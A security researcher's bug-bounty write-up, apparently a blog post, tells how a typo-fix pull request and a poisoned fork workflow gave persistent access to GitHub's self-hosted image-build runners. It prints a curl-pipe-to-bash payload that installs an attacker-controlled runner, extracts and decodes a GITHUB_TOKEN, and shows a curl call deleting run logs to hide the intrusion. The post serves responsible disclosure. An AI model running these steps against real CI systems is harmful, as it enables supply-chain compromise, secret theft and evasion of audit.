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Preface

Let's think for a moment what a nightmare supply chain attack could be. An attack that would be
so impactful that it could be chained to target almost every company in the world. For an attacker
to carry out such an attack they would need to insert themselves into a component fundamental
to building the largest open-source software projects on the Internet.

What would an attacker need to target in order to carry out this attack? Cloud infrastructure would
certainly qualify. What about build agents? Those would certainly be impactful, and SolarWinds put
that attack on the map. If an attacker wanted more, the attacker would instead need to target
SaaS companies providing hosted build services. Services like GitLab Cl, TravisCl, CircleCl,
BuildKite, and GitHub Actions fall within this category.

GitHub Actions Runners




Let’s jump to the largest CI/CD service on the market: GitHub Actions. GitHub Actions’ primary
draw is that it is free for public repositories. It's hard for open-source software projects to choose
another provider when their compute is provided free of charge. Beyond that, it is easy to use and
tightly integrated into GitHub. For anyone used to wrestling with their own custom Jenkins pipeline
configuration, GitHub Actions is a blessing.

Runner Types

GitHub Actions builds run on two types of build runners. One type is GitHub's hosted runners, for
which GitHub offers Windows, OS X and Linux images. The images for these runners are updated
at a weekly cadence by GitHub’s runner images team, and the source code is public at https://githu
b.com/actions/runner-images. The vast majority of workflows on GitHub run on hosted runners. If
you've configured an Actions workflow, you might recognize ‘ubuntu-latest’, ‘macos-latest’, or
‘windows-latest'.
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The second class is self-hosted runners. These are build agents hosted by end users running the
Actions runner agent on their own infrastructure. As one would expect, securing and protecting
the runners is the responsibility of end users, not GitHub. For this reason, GitHub recommends
against using self-hosted runners on public repositories. This advice is not followed by some fairly
large organizations, many of whom who had non-ephemeral self-hosted runners attached to
public repositories with default groups and workflow approval settings.

From a period of time between February 2023 and July 25th, 2023, one such repository was
GitHub's own actions/runner-images repository. You might be able to guess where this story this is
going. This is the story of how | discovered and exploited a Critical misconfiguration vulnerability
and reported it to GitHub. The vulnerability provided access to internal GitHub infrastructure as
well as secrets. There was also a very high likelihood that this access could be used to insert
malicious code into all of GitHub’s runner base images - allowing an attacker to conduct a supply
chain attack against every GitHub customer that used hosted runners.

For my discovery and report | was awarded a $20,000 bug-bounty through GitHub’s HackerOne
program.

[image: image]

Self-Hosted Runners

In order to understand this attack, we need to understand self-hosted runners and why they are
such a risk on public repositories if not configured properly. There are also many risks of self-
hosted runners on private repositories, which my colleagues and | at Praetorian dove into with htt
ps://www.praetorian.com/blog/self-hosted-github-runners-are-backdoors/ and our subsequent
ShmooCon 2023 talk “Phanton of the Pipeline,” but we will focus on public repositories.

By default, when a self-hosted runner is attached to a repository, or a default organization runner
group that a public repository has access to, then any workflow running in that repository’s
context can use that runner. As long as the runs-on field is set to self-hosted (or one of the labels
associated with the runner), the runner will pick up the workflow and start processing it. There are
ways to restrict this to specific workflows and triggering actors using runner group restrictions and
pre-run hooks - but that is a topic for another post.

For workflows on default and feature branches, this isn't an issue. Users must have write access to
update branches within repositories. The problem is that this also applies to workflows from fork
pull requests. GitHub’s documentation is fairly clear on this matter, and has been so since self-
hosted runners were first introduced.

We recommend that you only use self-hosted runners with private repositories. This is because
forks of your public repository can potentially run dangerous code on your self-hosted runner
machine by creating a pull request that executes the code in a workflow.

This is not an issue with GitHub-hosted runners because each GitHub-hosted runner is always a
clean isolated virtual machine, and it is destroyed at the end of the job execution.
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Untrusted workflows running on your self-hosted runner pose significant security risks for your
machine and network environment, especially if your machine persists its environment between
jobs. Some of the risks include:

e Malicious programs running on the machine.
e Escaping the machine’s runner sandbox.
e Exposing access to the machine’s network environment.

e Persisting unwanted or dangerous data on the machine.

For more information about security hardening for self-hosted runners, see ” Security hardening f
or GitHub Actions.”

GitHub Documentation - Self Hosted Runner Security

Time and time again we in the information security world have seen that if a service has a default
configuration, then a large number of users will not change that default setting. This is especially
true when there isn’t a big warning prompt informing users about this when adding a runner to a
public repository. You have to dig into documentation, and if you can easily get it working without
reading the docs, then why bother reading the docs?

Non-Ephemeral Runners

If you set up a self-hosted runner using the default steps - meaning you follow the steps printed
under the ‘Add new self-hosted runner’ page in an organization or repository, you will have a non-
ephemeral self-hosted runner. This means that it is possible to start a process in the background
that will continue to run after the job completes, and modifications to files (such as programs on
the path, etc. will persist). If the runner is non-ephemeral, then it is easy to deploy a persistence
mechanism.

You may ask: How can someone determine if a runner attached to a public repository is non-
ephemeral? There isn't a 100% clear way to determine this for all workflows, but there is one
heuristic that is nearly always accurate. If the workflow contains the ‘actions/checkout’ GitHub
action, then the run logs will contain a Cleaning the repository message. If this message is present,
then it means that the runner is non-ephemeral, or the working directory of the runner is shared
between builds - this is very rare. In either case, this is of interest.
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Additionally, the runner name and machine names from the log will also provide hints. If a runner
name is repeated, then it is likely to be non-ephemeral. Ephemeral runners will typically have
runner names with randomized strings as part of the name.

Workflow Source of Truth

When a workflow executes from a fork pull request the GitHub Actions service uses YAML files
within the ‘.github/workflows’ directory that have the ‘pull_request’ trigger within the workflow file.
The workflow definition itself comes from the merge commit between the head and base branch
of the pull request. This means that fork pull requests can make any modifications to workflow
YAML files, including changing the runs-on field in order to gain access to a self-hosted runner that
normally does not execute workflows from public forks. While GitHub doesn’t broadly advertise
this behavior, this functionality is working as intended.

By changing a workflow file within their fork, and then creating a Pull Request anyone with a
GitHub account can run arbitrary code on a self-hosted runner. The only roadblock here is
GitHub's workflow approval setting or workflow restrictions. The latter is a newer feature and hard
to configure. By default, workflows from fork PRs will only run without approval if the useris a
previous contributor. From an attacker’s perspective, this means that they only need to fix a typo
or make a small code change in order to become a contributor. For actions/runner-images, this
was a single character change.
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Fix minor typo in workflow file

$ Merged

1) Conversation o- Commits (1 3 Files changed

repository: '${{ inputs.custom_repo }}

ref: '${{ inputs.custom_repo_commit_hash }}'

- name: Set image varibles
- name: Set image variables
run: |

$ImageType = "${{ inputs.image_name }}"

Just a minor typo fix.

In order to protect the privacy of GitHub employees and contractors I've redacted their handles
and pictures. | want to be extremely clear that approving and merging this PR was in no way a
failure on their part.



Fix minor typo in workflow file
- e Merged

) Conversation 1

: : ’ UncertainBadg3r commented on 18 Contributor

Description

This is a minor typo fix.

Pull request with Typo Fix

Once the pull request was merged, my account was a contributor, note the ‘Contributor’ badge
that now shows up in the box. This meant that my account could execute workflows on
pull_request without approval, as long as the repository had the default approval setting, which it
did at the time.

Attack on actions/runner-images

Since the runner-images repository had 1) the default approval setting, 2) had a non-ephemeral
self-hosted runner, and 3) my account was now a Contributor | had everything necessary to
conduct a public Poisoned Pipeline Execution attack against the runner-images repository’s CI/CD
workflows.

Planning the Attack

In order to explain how | planned the attack, we need to look at the actions/runner-images
repository circa July 20th, 2023, which the commit right before the first of many changes GitHub
pushed in response to my report.
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The repository contained several Cl workflows that used self-hosted runners to build Windows and
MacOS runner images. Below is a workflow run from a build that ran on one of the non-ephemeral
self-hosted runners attached to the repository. Note the write permissions associated with the
GITHUB_TOKEN !

€ github/workflows/macos11.yml

macOS-11_unstable.5593959675.1 #248

Iﬁ Summary

macO0S-11_unstable.5593959675.1 / build

Jobs

0s-1 table.5593959675.1 A ;
mac _unstable v @ set upijob

| build
'2.306.8"
y Runner name: ‘vmware-agent-8.2°
Run details
Runner group name: 'Default’
C) Usage Machine name: 'ubuntu-unstable-o'

¥ GITHUB TOKEN Permissions

(Ej Workflow file Actions: write

Checks: write

Contents: write

Deployments: write

Discussions: write

Issues: write

Metadata: read

Packages: write

Pages: write

PullRequests: write

RepositoryProjects: write

SecurityEvents: write

Statuses: write
Secret source: Actions
Prepare workflow directory
Prepare all required actions
Getting action download info
Download action repository 'actions/checkout@v3' (SHA:c85c95
Download action repository ‘actions/upload-artifact@v3' (SHA

Uses: actions/***-images/.github/workflows/macos-generation.

» Inputs

Ubuntu and Windows builds used runners with the label azure-builds , and MacOS builds ran on
runners with the label macos-vmware .

The workflows themselves also used secrets. This meant that if | could persist on the runners while
it processed a build, | would be able to access these clear-text secrets. Below is a snippet from the
macos-generation.yml workflow showing some of the secrets used:



- name: Build VM
run: |
$SensitiveData = @(
'IP address:’,
'Using ssh communicator to connect:'

)packer build -on-error=abort
-var="vcenter_server=${{ secrets.VISERVER_V2 }}"*
-var="vcenter_username=${{ secrets.VI_USER_NAME }}"°
-var="vcenter_password=${{ secrets.VI_PASSWORD }}"
-var="vcenter_datacenter=${{ env.VCENTER_DATACENTER }}" "
-var="cluster_or_esxi_host=${{ env.ESX|_CLUSTER }}" "~
-var="esxi_datastore=%${{ env.BUILD_DATASTORE }}"°
-var="output_folder=${{ env.OUTPUT_FOLDER }}" "
-var="vm_username=%${{ secrets.VM_USERNAME }}" *
-var="vm_password=${{ secrets.VM_PASSWORD }}" "
-var="xcode_install_storage_url=${{ secrets.xcode_install_storage_url }}"
-var="xcode_install_sas=%${{ secrets.xcode_install_sas }}"
-var="github_api_pat=%${{ secrets.GH_FEED_TOKEN }}" "
-var="build_id=${{ env.VM_NAME }}"*
-var="baseimage_name=${{ inputs.base_image_name }}" "
-color=false "${{ inputs.template_path }}°
| Where-Object {

#Filter sensitive data from Packer logs

$currentString = $_

$sensitiveString = $SensitiveData | Where-Object { $currentString -match $_}

$sensitiveString -eq $null

The ubuntu-win-generation.yml workflow also used secrets in a similar manner. In order to get these
secrets | would need to persist on the runner, wait until the runner picked up a legitimate build
workflow, and then access the secrets. Since the secrets were part of a run step, the runner’s
_temp directory would contain the secrets until the end of the workflow. This behavior is
described in depth by Karim Rahal in his post on leaking secrets from GitHub Action.

| would also be able to obtain the GITHUB_TOKEN from the .git/config file of the checked out
repository because the workflow used actions/checkout with the default setting of persisting
credentials.

Preparing the Payload

My first step was to obtain persistence on the self-hosted runner. From my perspective, | did not
know where these runners lived, what kind of egress controls they might have had, or EDR/firewall
on the host. To ensure | would successfully obtain persistence, | used a payload install something |
knew would be able to connect out to C2. That payload was - surprise - another self-hosted GitHub
Actions runner agent!


https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/
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SO I INSTALLED A RUNNER ON YOUR RUNNER

| modified the linteryml workflow to instead run a script after checking out the repository.




-# Cl Validation
name: Linter
+run-name: "some Cl testing"on:
pull_request:
branches: [ main ]
- paths:
- -"**json'
- - md'
- %%k
jobs:
build:
name: Lint JSON & MD files

runs-on: ubuntu-latest

+

runs-on: ${{ matrix.os }}
+ strategy:
+  matrix:
+ version: [1, 2, 3]
+ os: [azure-builds, macos-vmware]
steps:
- name: Checkout Code
uses: actions/checkout@v3
with:
fetch-depth: 0

- name: Lint Code Base

uses: github/super-linter/slim@v4

+ continue-on-error: trueenv:
VALIDATE_ALL_CODEBASE: false

- GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

- VALIDATE_JSON: true

- VALIDATE_MARKDOWN: true

- DEFAULT_BRANCH: ${{ github.base_ref }}

- FILTER_REGEX_EXCLUDE: .*images/*/.*-Readme.md

- name: Checking shebang lines in MacOS and Ubuntu releases.

+ version: ${{ matrix.version }}

+ SYSTEM_NAME: ${{ matrix.os }}run: ./images.Cl/shebang-linter.ps1
= shell: pwsh

+ - name: Checking shebang lines in MacOS and Ubuntu releases.

+

if: always()



+ run: echo "Run ./images.Cl/shebang-linter.ps1"

+# HACKERONE testing [[email protected]](https://adnanthekhan.com/cdn-cgi/l/email-protection)

The shebang-linter.ps1 script now simply contained a payload (and it wasn’t a PowerShell script any
longer)

#!/bin/bash sudo apt -y install jg curl -sSfL https://gist.githubusercontent.com/UncertainBadg3r/32
c8faOb13cdac6095b916a50b5bac34/raw/code | bash

| won't reveal exactly what the script did, but it essentially installed a self-hosted runner and
connected it to my another private repository. If you read through GitHub’s API docs for runner re
gistration, then you can probably figure out what the script did in order to install a runner each
time without needing a new token.

At this point, my payload was ready. The final step was to create PRs at a time when it would not
be noticed, and right before the scheduled nightly run. It was essential that my workflow ran
shortly before the nightly run, because that was my path to stealing the GITHUB_TOKEN along with
secrets in order to prove impact.

The Attack

With my payload ready, | created a pull request from my fork. The pull request triggered workflow
runs in the repository, and the linter workflow was picked up by the self-hosted runners. | had to
do a bit of “on the fly debugging” as is common when you try a novel technique for the first time,
but the outcome thankfully was the same.

Open a pull request

Create a new pull request by comparing changes acrass two branches. If you need to, you can also compare across forks

Ul base repository: actions/runner-images ™ base:main ™ € head repository: UncertainBadg3r/ ges ™ campare: ci_testing ¥

+ Able to merge. These branches can be automatically merged.

ci testing wip

Helpful resources

-".'sl\trwl\lwt--!(j
Write Preview HB I = &IZTiEEE@E a
uichel
# Description
ci testing
v
Attach files by dragging & dropping, selecting or pasting them Co
_| Allow edits and access to secrets by maintainers (Z) Draft pull request -
@ Remember, contributions to this repositery should foltow its contributing guidelines, security policy, and code of conduct
-0- 2 commits 3 files changed A 2 contributors
-0-  CommitsonJul 21, 2023
testing [ biscasf <>
UncertainBadg3r committed & minutes ago
Merge branch "actions:main’ into ci_testing Verified D ssbab1r <>

_ UncertainBadg3r committed 2 minutes ago


https://gist.githubusercontent.com/UncertainBadg3r/32c8fa0b13cdac6095b916a50b5bac34/raw/code
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Clicking that ‘Draft pull request’ button felt like it took an eternity.

f,035 WOrKTiow runs

% Ubuntu22.04 - scheduled/manual run
.github/workflows/ubuntu2204.yml #240: Scheduled

% Ubuntu20.04 - scheduled/manual run
.githuh,ﬂ’wurkflowsfubLmtu2004.yml #238: Scheduled

Windows 2022 - scheduled/manual run
.githuh,-’warkf‘laws,-’windows2022.yml #233: Scheduled

@

mac0S-12_unstable.5627597321.1
.github/workflows/maces12.yml #248: Scheduled

\@

@ Windows 2019 - scheduled/manual run
.github/workflows/windows2019.yml #234: Scheduled

@ someCl testing
Linter #4140: Pull request #7957 synchronize by UncertainBadg3r

UncertainBadg3r:ci_testing

@ some Cl testing
Linter #4139: Pull request #7957 synchronize by UncertainBadg3r

UncertainBadg3r:ci_testing

@ some Cl testing
Linter #4138: Pull request #7957 synchronize by UncertainBadg3r

UncertainBadg3rici_testing

@ some Cl testing
Linter #4137: Pull request #7957 opened by UncertainBadg3r

UncertainBadg3r:ci_testing

@ Enable 'nf_conntrack_tcp_be_liberal” for Ubuntu 22.04 until kernel update

Linter #4136: Pull request #7860 synchranize by ritchxu

ritchxu:ritchxu/nf_conntrac.

My Cl test runs were now present in the run logs, and my C2 repository now had 6 self-hosted
runners connecting from GitHub’s network and/or cloud environment. | also forced push the
commit in my fork to close the PR.
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-
Description
ci testing
®
@ __ UncertainBadg3r closed this 15 hours ago
E£3 | UncertainBadg3r force-pushed the ci_testing branch from 2713sde to 26354ab 15 hours ago
¥ __ UncertainBadg3r deleted the ci_testing branch 14 hours ago
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At this point definitely wanted the build logs gone as soon as possible! And that is where the

scheduled runs came into play.
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@ General Runners

Access Host your own runners and customize the environment used to run jobs in your GitHub Actions

workflows. Learn more about self-hosted runners.
A Collaborators

Code and automation Runners Status
¥ Branches azure-builds 1  self-hosted Linux ' | X64 ubn2204-agent-2 e Idle "ee
© Tags

azure-builds 2  self-hosted Linux X64 ubn2204-agent-1 ® Idle ves
E7 Rules v =
@ Actions ~ azure-buildsj self-hosted Linux X64 ubn2204-agent-3 o Idle “es

General
I PLRRELS macos-vmware 1  self-hosted Linux ' | X64 ubuntu-unstable-o ® Idle ves

& Webhook
&5 Webhooks :

macos-vmware_2  self-hosted Linux X64 ubuntu-unstable-o o Idle vee
& Codespaces
5 Pages macos-vmware_3  self-hosted  Linux  X64  ubuntu-unstable-o e Idle pee

Security

@) Code security and analysis
Within my C2 repository, | configured a simple workflow that ran commands on the self-hosted
runners.



GD Summary

Jobs

| © build

Set up job

Run details Run Command

Usage : e ;
Cj 9 » Run 1s -la /home/pirate/
& Workflow file total 238760

drwxr-xr-x 13 pirate pirate 4896 Jul
drwxr-xr-x 3 root root Nov
drwXrwxr-x pirate pirate : May
drwxrwxr-x 3 pirate pirate ; Nov 23 .azcopy
drwxr-xr-x 2 pirate pirate 4896 Nov 2022 azcopy_linux_amd64 18.16.2
~PW-PW-I-- pirate pirate 9877 Nov 2022 azcopy_linux_amdé4 10.16.2
drwxrwxr-x pirate pirate 4896 Apr 21 ©@:88 .azure

pirate pirate 3464 Apr 6 :48 .bash_history
-rW-r--r-- 1 pirate pirate 26 Feb 2 .bash_logout
-rw-r--r-- 1 pirate pirate Feb 20 .bashrc

pirate pirate 2 Nov 2 2822 .cache
drwxr-xr-x pirate pirate Dec 2022 .config
-rW-rw-r-- 1 pirate pirate 1] 9877 Nov 2822 downloadazcopy-v18-linux
drwxr-xr-x pirate pirate 5 Jul 21 23:43 image-genertaion-1
drwxr-xr-x pirate pirate 4896 Jul :24 image-genertaion-2
drwxr-xr-x 5 pirate pirate : Jul 24 image-genertaion-3
drwxrwxr-x pirate pirate 4896 Nov 2 .local

~PWXI-Xr-X pirate pirate 4 2477 Nov ovftool.bundle

NN
w

[
@ w

-PW-r- root root 3 Mar 2 packages-microsoft-prod.deb

-PWXT - pirate pirate 143 6 Oct 2 packer
-rw-rw-r-- 1 pirate pirate 32889806 Oct 2 2 packer_1.8.4 linux_amd64.zi
-rw-r--r-- 1 pirate pirate 807 Feb 25 .profile
-TWXPWXT-X pirate pirate Nov setup_ado_agent_dg.sh
= PWXPWX =X pirate pirate 7 Nov 2022 setup_ado_agent.s
2 pirate pirate 6 Nov 23 2822 .ssh
pirate pirate Nov 2822 .sudo_as_admin_successful
pirate pirate 38 May 12 : .viminfo

-rw-rw-r-- 1 pirate pirate 208 Nov 23 2022 .wget-hsts

Since I now had what was essentially a web shell on the runners, | used it to capture the runner-
images .git/config from within the runner’s working directory while a scheduled build was running. |
simply Base64 encoded it and printed it to the run log.



VzJ0dmNtVmRDZ2X5W1hCdmMybDBiMOo1WmeSeWIXRiBKbYZ5Yz IsdmIpQT1IREFLQ1dacGIHVARI cx
M13sSUQWZ2RISTF aUWSKWW1GeQpaUBESSUdaaGI ITmxDZ2xzY] JkaGIHeH1aV1oxY@dSaGRHVNPT cx
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WFIVZFdIdVKyOXRMMKZZEdsdmIuTXZb1Z1Ym1WeUxXbHRZV2RsY3dvS 1ptViBZMmdnUFNB cmiNE cx
VmBKY3kSb1pXRmt je ThxT25KbF puTXZ bVZOYINSbGNSOXZ jblxuYVeadktnc6IaMkskQ2ds aGRY cx
UnZIRDBNTUFWYmF IUFBQOFpYUhSMADjSE@2THKSbnFYURIKVOL1WTI5dEX5SmRDZ2x sZURSeV1X cn
a6xZV17sY21BOULFR1ZWRWAQVWt sYVFWUKpUMDQ25UdKaGMybGpIR1ZECk1XaF pNazVzWXpOTmRH ca
UKhPWEphVnpRM1dgsmo1bGg2VWskbFZ rMH1VVZVGT TF SWESVMVINV2h JWWtaS1RrMXFXa3hsYW1o e
M11XdFMKUBAKV1IuT1dWRTVOWVZWemVrMW5QVDBLYZ IKeV1XNWphQBF pY1dGc6IpSmRDZ2X5W1cx ca
dmRHVIWAQUOI 2Y21 sbmFXNEtDVZF sY21kbApIRDBNY21WbWNSOW9aVeZrY3k5dF 1XbHVDZz09Cg==

mec 778 = 18 {7} 694—696 (2 selected) Tr Raw Bytes
Output o [_D 3|
[core]

repositoryformatversion = @

filemode = true

bare = false

logallrefupdates = true
[remote "origin"]

url = https://github.com/actions/runner-images

fetch = +refs/heads/*:refs/remotes/origin/*
[ec]

auto = @
[http "https://github.com/"]

extraheader = AUTHORIZATION: basic eClhY2N1c3MtdGIrZWa6Z2hzXzRweVM2Qnc3YWIMQLhHbFINMiZLejhwakRHbVFsVTNaalUszMg==
[branch "main"]

remote = origin

merge = refs/heads/main

Good ol' CyberChef

| decoded the AUTHORIZATION header to capture the ghs_ token. This was the GITHUB_TOKEN
from the scheduled workflow with write access, and it would be valid for the entire duration of the
scheduled build.



rec 76 = 1

Output

x—access—token:ghs_4py568w7aoLCXGlRM26K28pjDGmQ1U3ZiK3ﬂ

My first task was to get rid of the run logs from my pull request. | used the GitHub API along with
the token to delete the run logs for each of the workflows my PR triggered.

curl -L\
-X DELETE \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $STOLEN_TOKEN" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/actions/runner-images/actions/runs/5627447333



All workflows Q, Filter workfio

Showing runs from all workflows

7,731 workflow runs Event

@ Ubuntu22.04 - scheduled/manual run
github/workflows/ubuntu2204.yml #240: Scheduled

%) Ubuntu20.04 - scheduled/manual run

-github/workflows/ubuntu2004.yml #238: Scheduled

Windows 2022 - scheduled/manual run
.github/workflows/windows2022.ym| #233: Scheduled

®) mac0S-12_unstable.5627597321.1

-github/workflows/macos12. yml #248: Scheduled

%) Windows 2019 - scheduled/manual run
github/workflows/windows2019.yml #234; Scheduled

@ Enable 'nf_conntrack_tcp_be_liberal’ for Ubuntu 22.04 until kernel update

Linter #4136: Pull request #7860 synchronize by ritchxu

ritchxu:ritchxu/nf_conntrac..

@ Enable 'nf_conntrack_tcp_be_liberal’ for Ubuntu 22.04 until kernel update

CodeQL #228%: Pull request #7860 synchronize by ritchyxu

ritchxu:ritchxu/nf_conntrac..

@ Ubuntu20.04 - Enable 'nf conntrack tep be liberal’ for Ubuntu 22.04 until kernel...

github/workflows/ubuntu2004.yml #237: Pull request #7860 labeled by vpolikarpov-akvelon
@ Ubuntu22.04 - Enable 'nf_conntrack_tep_be_liberal® for Ubuntu 22.04 until kernel...
.github/workflows/ubuntu2204.yml #239; Pull request #7860 labeled by vpolikarpov-akvelon
’ . .
It's like it never happened

And just like that, the most obvious evidence of this attack was gone. GitHub did not detect the
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implantation, and | was now living within their network. Now, everything wasn't perfect; however.

Operator error happens. On the Linux runner, due to a silly bug in my implantation script | had

accidentally installed the C2 runner in the checked out repository directory instead of the home

directory.



€ Shell
@ shell #7
@ Summary

Jobs

@ build

Set up job
Run details Run Command
Usage ; A -
C) g » Run ls -la /home/vsts/Agents/image-generation/_work/
&Y Workflow file total 64

druxr-xr-x 10 vsts vs 4896 ]

t
ts vs 4896 J
t

v
drwxr-xr-x 8 v
drwxr-xr-x v 4896 | _PipelineMapping
drwxr-xr-x sts vs : 2:22 _ dotnet_runtime__
drwxr-xr-x vsts 92:22 _ externals__
drwxr-xr-x vsts vs 3:34 _actions
drwxr-xr-x vsts vsts 134 _temp

drwxr-xr-x vsts vsts 4:39 _tool

drwxr-xr-x vsts vsts 123 _update

=rW=r--r-- vsts vsts 127 _update.sh

druxr-xr-x vsts vsts ] 139 runner-images

Complete job

| had a shell for a short while, but this meant that when the scheduled build ran, it also killed my
runner when it cleaned the repository.



Jobs

Windows_2022 ~
Checkout repository
l build
» Run actions/checkout@v3
Run details 5 Syncing repository: actions/runner-images
» Getting Git version info
G) Usage Temporarily overriding HOME='/home/vsts/Agents/image-generation/ work/ temp/ee762a4i

& Workflow file

Removing .cr

Removing .credentials_rsaparams
Removing .env

Removing .path

Removing .runner

Removing _diag/

Removing _work/

Removing ns-runner-linux-x64-2.306.0.tar.gz
Removing bin/

Removing config.sh

Removing env.sh

Removing externals/

Removing run-helper.cmd.template
Removing run-helper.sh

Removing run-helper.sh.template
Removing r

Removing

Removing

f38 into aS632el

¥Disabling automatic garbage collection

RIP Runner

| could have easily re-implanted the machine, but what | had access to from the MacOS runner
was more than enough at this point to prove impact for my disclosure.

Reaping the Spoils

Now that | had persistence, | focused on gathering proof of secret compromise to include in my
report. | used the web-shell to print and encode the contents of the previously mentioned scripts
containing the vCenter credentials.



Output

$ErrorActionPreference = 'stop'
./images.CI/macos/select-datastore.psl
-VMName "mac0S-12 20230721 unstable.5627597321.1" °
-Viserver 10.212[ 1
-VIUserName administrator@maccloud.local
-VIPassword ] I
-Cluster mcv2-build-unstable

if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }$Err
i{ (I!‘I’ _and IIII) {

As much as | wanted to, | did not to set up a SOCKS tunnel and try to log in to the vCenter instance
and peek behind the curtain. | had enough evidence for a Critical report and | did not want to
compromise any more sensitive information. | did verify | could reach its web interface with curl,
so had | created a tunnel | would have been able to sign in.

In total, | lived on the ubuntu-unstable-o runner for 5 days. Once GitHub triaged the report and |
saw initial mitigations rolling into the repo | removed the runners from my C2 repository, and
before that | ran one final command as a memento.

€ Shell
@ shell #65
(M Summary
Jobs
build .
I © et up job
Run details Run Command
{3 Hee ¥ Run date &% hostname && ip a
& Workflow file date 8& hostname 8% ip a

shell:

Wed 26 Ju

sc noqueue state UNKNOWN group default qlen 1828

> mtu 1580 qdisc mgq state UP group default glen 1e8@
ff:ff:ff

inet 18.212. 8@/ 2 2 ope global ensl&@

»UP, LOMER_| mtu 1568 qdisc mq state UP group default glen 18886
Ba:@f:38 brd ff:ff:ff:ff:ff:fF

scope global dynamic ens192

scope link

ever preferred_lft forever

Complete job




How bad could it have been?

There are several unknowns here - most of which are intentional as part of conducting this
operation under the terms of GitHub's bug bounty program and my personal code of ethics as a
security researcher.

The biggest question is what stood between the access | gained and successfully deploying
malicious code on the runner images used for all of GitHub’s and Azure Pipeline’s builds. | had
already slipped past through several security boundaries - was there anything left that would have
stopped me? Only GitHub knows the true answer to this; however, based on what | saw, there are
some things | can say for certain.

What was clear: | could have merged arbitrary code into the main branch using this
vulnerability, and because of the weekly deployment cadence it is likely that a code change would
have not been noticed before the image made it into the production pool.

The other impacts were access to an internal MacOS private cloud vCenter as Administrator, Azure
credentials that provided access to a storage account used to save Cl off builds, and finally ability
to tamper with the packer build process used for both MacOS and Windows Cl builds (which may
or may not be the same images eventually pulled into the production pool).

Modification of Code in Main

Since | was able to control a GITHUB_TOKEN with full write permissions, | could have used the token
to modify code within a feature branch (such as a subtle modification to a URL for a script/package
downloaded during the build process) and used it to issue a ‘repository_dispatch’ event to trigger
the ‘Merge pull request’ workflow.

Since the deployment process followed a weekly cadence, and the codebase changed rapidly, it is
very likely that the modification would go undetected, especially if an attacker set the commit
name and email to a bot account or GitHub employee information. This article from Checkmarx
showcases threat actors using this strategy in the wild.


https://checkmarx.com/blog/surprise-when-dependabot-contributes-malicious-code/

name: Merge pull request

on:
repository_dispatch:
types: [merge-pr]

jobs:
Merge_pull_request:

runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v3
with:
fetch-depth: 0

- name: Resolve possible conflicts ${{ github.event.client_payload.ReleaseBranchName }} with main
run: |
git config --global user.email "[[email protected]](https://adnanthekhan.com/cdn-cgi/l/email-protection)”
git config --global user.name "Actions service account"
git checkout ${{ github.event.client_payload.ReleaseBranchName }}-docs
git merge --no-edit --strategy-option=ours main
git push origin ${{ github.event.client_payload.ReleaseBranchName }}-docs
sleep 30

- name: Approve pull request by GitHub-Actions bot
uses: actions/github-script@v2
with:
github-token: ${{secrets.PRAPPROVAL_SECRET}}
script: |
github.pulls.createReview({
owner: context.repo.owner,
repo: context.repo.repo,
pull_number: ${{ github.event.client_payload.PullRequestNumber }},
event: "APPROVE"
3}

- name: Merge pull request for ${{ github.event.client_payload.ReleaseBranchName }}
uses: actions/github-script@v2
with:
github-token: ${{secrets.GITHUB_TOKEN}}
script: |
github.pulls.merge({
owner: context.repo.owner,

repo: context.repo.repo,



pull_number: ${{ github.event.client_payload.PullRequestNumber }},
merge_method: "squash"

D

Astute observers might note that this workflow would have also allowed me to steal the
PRAPPROVAL_SECRET via a shell injection attack. The PAT belongs to a GitHub employee with
write access to the repository. | determined this by observing current runs of the workflow: https://
github.com/actions/runner-images/actions/workflows/merge_pull_request.yml. The PRs are
merged quickly after an approval by the employee.

3= () github-actions bot me commit @asb4éc into main 2 ho

¥ () github-actions bot de

If you cross reference the workflow logs with other PRs, you can conclude that:
e The PRAPPROVAL_SECRET is a PAT belonging to a GitHub Employee.

e It might be a fine-grained PAT with only PR approval permissions for actions/runner-images,
but it is quite possible that it is a classic PAT with repo scope.

e It would be possible to use the GITHUB_TOKEN to commit changes to these open PRs, as the
workflow itself is making a merge commit and pushing it with a specific “bot account”.


https://github.com/actions/runner-images/actions/workflows/merge_pull_request.yml
https://github.com/actions/runner-images/actions/workflows/merge_pull_request.yml

Merge_pull_request

Q

v @ Resolve possible conflicts releases/macOS-12/20231216 with main

v @ Approve pull request by GitHub-Actions bot

>

And there you have it, a clear path an attacker could have taken to tamper with the runner images
code used for all GitHub and Azure Pipelines hosted runners. A skilled attacker could drop a
payload that checked if the image was processing a workflow for a high-value target organization
and only then run a second stage to perform a poisoned pipeline execution attack within GitHub'’s
build environment. The scariest part is that victims would have had absolutely no idea of this until
an APT was already backdooring their builds and using their CI/CD secrets.

Poisoned Image Deployment Process

For Ubuntu and Windows images, the Cl build process saved images to a Azure storage account.
The workflow itself called that step ‘Create release for VM deployment'. It certainly sounds




interesting!

- name: Create release for VM deployment
run: |

$Buildld = ${{ github.run_id }} % [System.UInt32]::MaxValue

.J/images.Cl/linux-and-win/create-release.ps1 "
-Buildld $Buildld *
-Organization ${{ secrets.RELEASE_TARGET_ORGANIZATION }}
-Definitionld ${{ secrets.RELEASE_TARGET_DEFINITION_ID }}
-Project ${{ secrets.RELEASE_TARGET

_PROJECT }}°

-ImageName ${{ env.ImageType }}
-AccessToken ${{ secrets.RELEASE_TARGET_TOKEN }}

If you dig deep into the PR comments for https://github.com/actions/runner-images/pull/7182,
which introduced GitHub Cl to the repository, you can see what some of these values would have
been.

.github/workflows/ubuntu-win-generation.yml

RELEASE_TARGET_ORGANIZATION: mseng
RELEASE_TARGET_DEFINITION_ID: '3851"
RELEASE_TARGET_PROJECT: AzureDevOps

Contributor

Can we move these values to variables in repo settings? It is internal org and don’t want to show any of these values in
our YAMLs

Collaborator ~ Author

Changed to secrets

maccloud Access

If I had set up a reverse tunnel, | would have been able to use the vCenter administrator
credentials to log in to the vCenter instance. If there were any paths from that vCenter instance to
the production Mac runner environment, then an attacker could potentially modify image
templates within vCenter.

Attack and Disclosure Timeline


https://github.com/actions/runner-images/pull/7182

July 18th, 2023- Created Typo Fix Pull Request

July 20th, 2023 - Pull Request Merged

July 21st, 2023 - Conducted Attack and Deployed Persistence
July 22nd, 2023 - Submitted Report through HackerOne

July 24th, 2023 - Report Acknowledged

July 25th, 2023 - Triaged by GitHub Staff, initial mitigations made
